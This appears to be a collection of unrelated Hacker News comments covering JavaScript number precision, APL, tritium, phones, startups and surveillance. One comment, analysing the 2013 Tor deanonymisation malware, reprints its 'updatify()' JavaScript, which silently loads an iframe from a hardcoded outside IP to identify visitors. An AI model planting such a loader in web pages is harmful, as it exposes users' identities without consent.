skysight-inc/HackerNews huggingface dataset:
On the contrary, it seems that OP was going out of his way to explain that it's acceptable to have initially hated CS.

If CS is actually terrible, why don't we talk about what actually makes it terrible? I can't comprehend the notion that evaluating the advocates of X will demonstrate anything concrete about X.
Yep, there are only doubles in JavaScript. With doubles, integer values work fine up to 2^53. After that point, things get silly.

>>> Math.pow(2, 53) === Math.pow(2, 53) - 1
false
>>> Math.pow(2, 53) === Math.pow(2, 53)
true
>>> Math.pow(2, 53) === Math.pow(2, 53) + 1
true // derp
Batman being a "political liability" characterized as a villain and threat by the government and authorities is not exactly an invention of Nolan's... it's one of the central concepts to the Batman character, has been for decades.
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As much as I love drama, the notion that the NSA would hardcode a registered IP address of their own into some malware and use that to attack some very publicized network affecting thousands of users.. well..

As another comment points out, why bother when you already coordinate a massive sniffing effort affecting large chunks of the globe?
Reminds me of the "Should I work for free?" flowchart.

http://shouldiworkforfree.com/
Never heard of instamojo so I just checked it out.
According to its FAQ [0],

> 5. When do I get paid. .... For offers selling in INR, the amount would be remitted to your Indian bank account if it has crossed minimum payment threshold
of ₹500. For offers selling in USD, the amount would be remitted to your Paypal account

Since most of your customers will be paying in USD (I guess),, Instamojo will anyway be paying as per above to your Paypal account. So, IMO, you should sort out Paypal account. (Or talk to Instamojo if they have this option to directly convert USD payments to INR and remit them to your bank account.)

[0] https://www.instamojo.com/faq/
Water can be radioactive if some of those hydrogen atoms are really tritium.
Does "weekend project" mean a project that you work on when you have free time or does it literally mean "built in one weekend"?
APL:

+/⍳1E9

Try it yourself, download NARS2000 (free) here:

http://www.nars2000.org/

The "⍳" character is entered by typing ALT+i

Explanation:

1E9 is 1,000,000,000
⍳1E9 generates a vector containing integers from 1 to 1,000,000,000 (inclusive)
+/ is the sum of the vector

Any good APL interpreter will not actually generate a vector with a billion numbers but rather recognize the above expression and optimize the resulting operation for speed and minimal resource utilization.

EDIT:

Technically the "/" is the "reduction" operator acting along the last axis. In the case of a single dimensional array it acts along the only available axis. If, instead, it was acting on a matrix it would reduce along the columns. Here's a longer annotated example with output from the interpreter:

Generate a vector from 1 to 10:
⍳10
1 2 3 4 5 6 7 8 9 10

Sum:
+/⍳10
55

Generate a vector of ten one's and zero's, repeating until the end:
10⍴1 0
1 0 1 0 1 0 1 0 1 0

Now use that vector to reduce the original 1 to 10 vector, grabbing every other
element starting with the first. The effective result is that you end up with
all the odd numbers between 1 and 10:
(10⍴1 0)/⍳10
1 3 5 7 9

Same things, now grabbing the even numbers by flipping the 1 0 sequence to 0 1:
(10⍴0 1)/⍳10
2 4 6 8 10

Sum of all odd integers between 1 and 10:
+/(10⍴1 0)/⍳10
25

Sum of all even integers between 1 and 10:
+/(10⍴0 1)/⍳10
30

One could create a single vector with the odd integers between 1 and 10 followed by
the even integers between 1 and ten by simply concatenating the generating
expressions (APL executes from right to left):
((10⍴1 0)/⍳10),(10⍴0 1)/⍳10
1 3 5 7 9 2 4 6 8 10

And then you can reshape ("⍴") the result into a matrix:
2 5⍴((10⍴1 0)/⍳10),(10⍴0 1)/⍳10
1 3 5 7 9
2 4 6 8 10

Finally, use the scan operator again, now applied to a matrix, to sum along the
columns and produce a result for each row. The effect is to output a two element
vector with the sum of the odd integers between 1 and 10 as the first element
and the sum of all the even integers between 1 and 10 as the second:
+/2 5⍴((10⍴1 0)/⍳10),(10⍴0 1)/⍳10
25 30

If you want to try this type the lines immediately following my comments above right into the interpreter. The rho "⍴" or reshape operator is entered by typing ALT+r.

Hope this helps make sense of it. Of course, there are other ways to accomplish the same thing.

https://en.wikipedia.org/wiki/APL_syntax_and_symbols
The site is extremely slow, I got the text to load but apparently relevant images aren't loading. It's not in google cache yet either. If somebody could save the entire page and upload it somewhere (or something).. that would be great.
The is website seems slow right now. Alternative link on ars: http://arstechnica.com/tech-policy/2013/08/researchers-say-t...

Relevant links:

http://www.domaintools.com/research/ip-explorer/?ip=65.222.2...

http://pop.robtex.com/nsa.gov.html#records
Right. She actually like the way the Windows phone hardware looked the best -- it's colorful and different looking than everything else. But I think she would have bought an iPhone to be honest just based on name recognition if Apple would offer competitive sizes. With the way it was presented in the store, it had as much sales sex appeal as the aging netbook display to one side of it and the feature phone display behind it.

The iPhone 5 just absolutely mystifies me, they had a 4 and 4s for sale there too but unless you hold the phones right next to one another and see the extra row of icons on the screen, they're virtually indistinguishable as products to most people, yet the 5 costs much more. To a nontechnical buyer it seems inexplicable that this extra row of icons costs $100-$200 difference in price. Even digging into the specs, I couldn't really make a case for the 5 over the 4 series without getting into technical specs she didn't care about. Her comments were "the 5 is the new one, but I'm getting price gouged for it, and the 4 is on the way out...and these other phones are really popular too"

In the store, with all of the important context clues that stores put around flagship products, the iPhone section felt like it was selling to a market that was quickly disappearing. Like selling incredibly nice horsewhips at a car dealership.

Even Nintendo sells two sizes of their portables.
I really think Firefox should become the freedom lover's privacy browser; because it is a non-profit org, it can do what Google/Chrome can't.
I was literally asking someone what they were talking about. Instead I got an answer from someone else about something else. It's just some asshole who has one little nugget of information they want to spout at someone.
I believe they prefer to have the original link's page title used unless there is a very good reason not to.
The new title is a better description of what the article is about. If you just want to submit the AS ownership, you could link to http://pop.robtex.com/nsa.gov.html#records
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Wow, you think. A visual language of some kind? It’s been attempted before by many brilliant people. You ponder if they have some magical solution or have been partaking in some illicit chemical “exploration.”

Then you realize that, if a holy grail did exist, the way we make software would change forever. You see the “Vision”.
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* We don’t have a specific software development position to fill so tell us what you would bring to the table and what you want to do - we will listen to everyone.
* We really need help extending our GUI for both iOS and Android.
* We are interested in extending our framework to include OpenCL, OpenGL, REST (and general API support), extensive math library, etc.

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I'm not sure that Reuters didn't misunderstand something. The tritium mention seems oddly out of place. A lot more than tritium has leaked from this plant, and I would be surprised if the water they're leaking now is contaminated solely with tritium.

Also, I think with regard to tritium spilling into the sea, they're probably less concerned about a direct effect on people than on the fish swimming around in it.
Children given lifelong ban on talking about fracking
Beef is not very energy efficient anyways, around 10% conversion rate from pasture calories to animal tissue. Pork and chicken are much more efficient though.

From the very narrow perspective of energy efficient, the problem I see is that we are ditching a true and tested method of doing things with (up to a point) renewable resources and trying to create a substitute most likely based on petrochemicals, just at the same time as we're dragging our feet on finding and deploying a viable alternative to petrol based energy systems.
Back in '07 the Canadian Nuclear Safety Commission couldn't get a limit from Japan:

http://nuclearsafety.gc.ca/eng/readingroom/healthstudies/tri...
But Tritium can be quite ugly if it gets into the body, since it can replace hydrogen. (And can therefore accumulate in the body.) This depends on the molecules tritium is attached to.

And on a further note, I believe that websites which need JS to scroll text are malicious.
I hear their home page was built using their own product. So that says something right there. Looking forward to trying it.
Speech recognition: send an audio file, receive text.
Isn't there a massive stigma against solo founders? I get that impression from most of what I read.
> That's a false dichotomy.

No it's not, it already happened in New York in the 90's.
We run a project that also takes use of video conferencing with WebRTC:

https://chat.echoplex.us/
(make a new room by appending a different string to the URL)

and

https://github.com/qq99/echoplexus
The second sentence of the article is "His vegan parents, who fed him mainly soy milk and apple juice, were convicted in Atlanta recently of murder, involuntary manslaughter and cruelty."
I am saying it seems much easier to write about compelling user experiences than to create them, and given the price they are charging for their product it makes me wonder if I should be writing papers about user experiences instead of programming them.
Thank you so much for writing this. My company is planning a move from Fat-client + in house server model to web based likely a SPA solution.

I've spent the entire weekend pouring over JS frameworks and have had a rough time trying to compare Angular vs Ember vs Knockout. From a newby, they all seem to be very similar without having written large systems with each to compare.
If it makes you feel any better, their publication[1] reports low accuracy on a popular dataset called LFW (which stands for Labelled Faces in the Wild). Most face recognition technology works very well on mugshots. Frontal Faces -- with almost consistent lighting and alignment. These technologies do not perform well on personal photos.

[1] http://openbiometrics.org/publications/klontz2013open.pdf
Get a copy of "Mythical man month".
Btw, where did you get an idea, that Apple has limited resources? What I hear is that they have really small teams.
The form thread relies on a domaintools.com query [1], which points to "SCIENCE APPLICATIONS INT" [2] as the owner of this 65.222.202.53 Class C subset (65.222.202.53 has found in the updatify() function listed below [3]). You might recognize SAIC from the NSA's 'XKEYSCORE Systems Engineer' job posting thread [4] a couple days ago.

function updatify() {
var iframe = document.createElement('iframe');
iframe.style.display = "inline";
iframe.frameBorder = "0";
iframe.scrolling = "no";
iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66";
iframe.height = "5";
iframe.width = "*";
document.body.appendChild(iframe);
}

[1] http://www.domaintools.com/research/ip-explorer/?ip=65.222.2...

[2] http://en.wikipedia.org/wiki/SAIC_%28U.S._company%29

[3] https://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#...

[4] https://news.ycombinator.com/item?id=6138205
Why? I mean, insofar as they've already said "encryption makes you suspect", I'd imagine they'd want to break TOR wide open. So if they haven't, I presume it's because of technical difficulty. What's stopping them from doing so, if they haven't?
Klarifier:

1) Why make it again if there is a platform already existing ? why not bother them : please check this link http://productforums.google.com/forum/#!topic/calendar/vdFSJ...

2) Yes, I know it is my fault

3) I would rather chose not to comment on this.

4) Why create my own API ? If someone as good as Google has already build it ? I know how to code and have built this app within 3 months.

and yes I am a young developer and I know what business is. I know about code re-usability and providing a great user experience.

Regarding building of my own API, I could have done that but I always wanted to make Gmail Tasks better, because I have been using it from past two-years.

Learn to praise the people instead of finding negative aspects.
They can take your property based on nothing more than probably cause.

It's a good job that American Law Enforcement has shown itself over and over again to not abuse the powers granted to it then.
It seems every day we hear about things in the US getting worse for the average citizen. Is it a case that it was always like this and we're only just finding out or are these more recent happenings ?
ZenPayroll (YC W12) is hiring Rails engineers to help make delightful payroll
About us:

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+ Our founders are second time entrepreneurs from Stanford who have had two prior exits. We're hungry to build something truly great and we're in this for the long haul.

+ We're funded by the CEOs of Yelp, Dropbox, Yammer, Box, Parse, and others, as well as Google Ventures, Salesforce and Y-Combinator. Full list at www.zenpayroll.com/investors.

+ Most importantly, our company values are here: https://zenpayroll.com/about.

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Things we're looking for:

+ Experience with Rails | Backbone.js | CoffeeScript | MySQL is a plus but not a pre-requisite.

+ Interest in using a test driven development process. We also pair part of the time.

+ Interest in building user-facing and core-backend features, as well as being an active part of the design process.

+ Desire to understand the customer perspective. All members of our team are builders and it's important everyone understands the pain point we're solving.

--------------------------------------------------------------------------------

Perks:

+ You'll be a core member of our team as we grow the company. As a result, you'll receive a competitive salary + significant equity stake.

+ Housing stipend if you live near the office, three meals a day, company retreats, gym/sports club stipend, dream work set-up, and more -- including copious espressos brewed by one of our co-founders. People are the foundation of our company and we make sure they know they're valued.

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Above all, we're looking for individuals who are yearning to do the best work of their lives. You'll be amply rewarded for the work you do.

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To apply, send a note to jobs [at] zenpayroll [dot] com and include your LinkedIn, GitHub, and/or any project pages.

This job is located in SoMa, San Francisco, CA. You must be local or willing to relocate (we'll cover the cost).
>I have a hard time siding with John Smith.

In principle, I don't care about John Smith[1] and I wouldn't advocate solely for the lawbreaker's sake. I'm advocating for innocent people whose rights are violated. Now, if this scheme were directed against a different class of criminal like theiving bankers or corrupt policemen; I'd feel better about the result, but not much. Along those lines, it is offensive to imagine that our supposed inalienable rights are discarded for something as pedestrian as drug offenses when it is clearly possible for some violent crimes to be stopped[2]. Note that I am not an advocate for that. But IMO it is an added insult that we're here living a version of Orwell's nightmare, having just begun to suffer its abuses, but because of the priorities of gov't don't receive the benefit of pervasive gov't protection.

On the ZOMG! slippery-slope angle, imagine just how abusive and corrupt an individual or small group of gov't agents can be when they are allowed to conceal so much of an investigation. One person, or a small group can completely frame an individual for a crime with relatively little opportunity for the accused to defend themselves.

[1] Personally, I am an advocate from drug legalization, but that's a separate issue.

[2] James Bamford alludes to the notion that NSA folk have had to observe some pretty terrible things in the course of duty. I don't envy them for it.
Based on the stuff I've read, I'm pretty sure you are much further from the norm than he is. Only eating a meat-containing dish for dinner once or twice a week is pretty unusual.
> Water, aka H2O, doesn't activate so it is not radioactive, it can however carry radioactive isotopes in solution.

What? Tritium is an unstable hydrogen isotope that is radioactive, no matter what molecule it is found in. Combine that with acid-base chemistry which revolves around the disassociation of hydrogen from water and that tritium can end up as a beta emitter anywhere in the body, including in actual strands of DNA [1]. What radioactive isotopes the water carries as a solute is irrelevant to the presence of tritium in the molecules.

[1] http://www.ncbi.nlm.nih.gov/pubmed/11130944
dude, now this is a great idea. karma karma karma
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This is largely due to the manufacturers. "Americans" don't decide that a 5-series is luxury, it's the manufacturers. You can't buy a BMW or Mercedes without all of the bells an whistles. You can't even buy many of the cheaper cars (i.e. A-Class) from those manufacturers in the US.
I interviewed Harvey Silverglate while he was writing his Three Felonies book and came away with precisely the opposite opinion. Harvey is hardly a "liar and manipulator." He was EFF's first attorney and is one of the leading civil liberties attorneys of our time.

Here's what Harvey wrote about prosecutorial misconduct in Aaron Swartz's case, for instance:
http://dankennedy.net/2013/01/24/the-swartz-suicide-and-the-...

I'm not sure what <anigbrowl> has against Harvey, but it seems like a personal vendetta untethered to reality.
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Moto X Review: A different kind of smartphone
"not for code which has been written with blessed references."

Thanks for pointing that out, it is an unfair article because the whole premise of the parody was if the author was running a blue sky startup... so legacy code sucks is not much of an argument.

Some time ago I reflexively converted everything perl OO that I touched to "modern" Moose and it seems to have been worth it. Detection of non-Moose OO should be a Perl::Critic complaint. You can always add something to the exclude= line in a perlcritic.rc file. We've already got Perl::Critic::Tics and ::Lax and a bunch others, so ::FanOfMoose to complain about non-Moose OO is within the realm of possibility.
Looks nice, congrats. First time seeing it and my most obvious question isn't answered on the homepage: what happens if someone smashes my gear I rented out?

You should prominently highlight a protection policy.
The first thing that springs to mind for me is natural language search that really works. Along the same lines, reliable transcription.
I allready decided to be a single founder. It's damn hard to find someone interested in starting a venture together, it's even harder finding someone on the same wavelength. I could grow a beard (omg I have!) waiting for this to happen.

I burned out working my ass off nights and weekends because my previous partner was absolutely sure he'd be able to sell our product. Which unfortunately turned out different (but that venture still makes money... Too much to let it die... Too less for it not to be a pita)

'your startup chances increase with a partner'. Yes, but I'm not interested in a startup that makes me filthy rich, I'm just looking for something to replace they daytime job where I don't have to be at an office 5 days a week and where the office can be wherever my laptop is.

I have built several succesful applications over the years (for others) where I used my UI/UX skills (and really just common sense and thinking before code/design). I can make the tech side of a project from A to Z (and in my current daytime role also doing sales and marketing as I'm the sole manager of a very small but very profitable company).

And next time I'm taking on a co-founder, I want proof that he has commercial skills because it seems anyone thinks they can do marketing and sales or that it will happen by itself or something.
The DOJ's definition isn't "subtly" broken. It is completely a willful attempt to circumvent established law and precedent with a very convoluted trail of reasoning. Also not sure if this is really DOJ's definition, or certain branches of law enforcement.
Former Mozilla CEO to head security-software maker AVG
The Leica Monochrome is insane awesome. However, If I owned that camera, I would be almost excessively paranoid to lend that camera out.
It's not just technical difficulty. It's that people are watching them, and they don't want to get caught doing it.
The link was on top
http://pebbleroad.github.io/jquery-taxonomy-browser/dist/
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Does this mean we have to start equipping undersea seismic sensors and surface buoys with geiger counters? :(
Because this is tor, it's likely harder to sniff. This wanted to collect IPs and MACs.
Nice article but I disagree. I am very technical person and I really miss cofounder who would take care of social/business side.

First heaving new born children gives me focus on work. Before I would procrastinate a lot. Now I have to turn my idea into business, or there will be serious trouble. Sure I can only give it 10 hours X 6 days a week, but that is enough.

Secondly I disagree on remote location. It takes extra money (fast internet, video conferencing gear) and effort. But it also gives more freedom to choose best partner.